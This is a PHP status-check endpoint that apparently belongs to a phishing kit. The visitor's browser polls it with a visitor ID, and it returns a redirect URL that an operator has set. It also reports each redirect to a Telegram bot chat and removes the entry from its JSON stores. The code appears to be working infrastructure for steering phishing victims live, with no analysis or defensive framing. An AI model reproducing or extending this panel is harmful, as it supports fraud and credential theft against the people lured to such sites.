<?php
session_start();
include('../config.php');

// Set headers to prevent caching
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
header('Content-Type: application/json');

$visitor_id = $_GET['visitor_id'] ?? '';
error_log("Checking status for visitor: " . $visitor_id);

if (empty($visitor_id)) {
    error_log("Empty visitor ID");
    die(json_encode(['redirect' => false]));
}

$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    error_log("Redirects file not found");
    die(json_encode(['redirect' => false]));
}

// Use file locking to prevent race conditions
$fp = fopen($redirects_file, 'r');
if (!$fp) {
    error_log("Could not open redirects file");
    die(json_encode(['redirect' => false, 'error' => 'Could not open redirects file']));
}

// Acquire a shared lock for reading
if (!flock($fp, LOCK_SH)) {
    error_log("Could not acquire lock on redirects file");
    fclose($fp);
    die(json_encode(['redirect' => false, 'error' => 'Could not acquire lock']));
}

// Read the file content
$content = '';
while (!feof($fp)) {
    $content .= fread($fp, 8192);
}

// Release the lock
flock($fp, LOCK_UN);
fclose($fp);

// Parse the JSON content
$redirects = json_decode($content, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    error_log("JSON decode error: " . json_last_error_msg());
    die(json_encode(['redirect' => false, 'error' => 'Invalid JSON format']));
}

error_log("Current redirects: " . print_r($redirects, true));

// Search both stores for this visitor (main and portable)
$stores = [
    'main' => __DIR__ . '/session/redirects.json',
    'portable' => __DIR__ . '/portable_telegram/session/redirects.json'
];
$store_file = $stores['main'];
$visitor_data = null;

if (isset($redirects['redirects'][$visitor_id])) {
    $visitor_data = $redirects['redirects'][$visitor_id];
} else {
    // Fallback to portable store
    $pfile = $stores['portable'];
    if (file_exists($pfile)) {
        $pfp = fopen($pfile, 'r');
        if ($pfp && flock($pfp, LOCK_SH)) {
            $pcontent = '';
            while (!feof($pfp)) { $pcontent .= fread($pfp, 8192); }
            flock($pfp, LOCK_UN);
            fclose($pfp);
            $pjson = json_decode($pcontent, true);
            if (json_last_error() === JSON_ERROR_NONE && isset($pjson['redirects'][$visitor_id])) {
                $visitor_data = $pjson['redirects'][$visitor_id];
                $store_file = $pfile;
                error_log("Found visitor in portable store: {$visitor_id}");
            }
        } elseif ($pfp) { fclose($pfp); }
    }
}

if ($visitor_data && ($visitor_data['status'] === 'ready') && isset($visitor_data['redirect_url'])) {
    error_log("Found redirect for visitor: " . $visitor_id . " -> " . $visitor_data['redirect_url']);
    $redirect_url = $visitor_data['redirect_url'];

    // Send confirmation to Telegram (non-blocking)
    $msgtg = "🔄 <b>REDIRECT EXECUTED</b>\n\n";
    $msgtg .= "• Visitor ID: <code>{$visitor_id}</code>\n";
    $msgtg .= "• Redirect To: <code>{$redirect_url}</code>\n";
    $msgtg .= "• Time: " . date('Y-m-d H:i:s') . "\n";
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_exec($ch);
    curl_close($ch);

    // Remove this visitor from whichever store it was found in
    $fp = fopen($store_file, 'c+');
    if ($fp && flock($fp, LOCK_EX)) {
        $content = '';
        while (!feof($fp)) { $content .= fread($fp, 8192); }
        $json = json_decode($content, true) ?: ['redirects' => []];
        unset($json['redirects'][$visitor_id]);
        ftruncate($fp, 0);
        rewind($fp);
        fwrite($fp, json_encode($json, JSON_PRETTY_PRINT));
        fflush($fp);
        flock($fp, LOCK_UN);
        error_log("Removed visitor {$visitor_id} from " . (strpos($store_file, 'portable_telegram') !== false ? 'portable' : 'main') . " redirects.json");
    } else {
        error_log("Could not acquire lock to update redirects.json after redirect for {$visitor_id}");
    }
    if ($fp) { fclose($fp); }

    echo json_encode([
        'redirect' => true,
        'redirect_url' => $redirect_url,
        'timestamp' => time(),
        'source' => $visitor_data['source'] ?? 'unknown'
    ]);
    exit();
}

error_log("No redirect ready for visitor: " . $visitor_id);
echo json_encode(['redirect' => false]);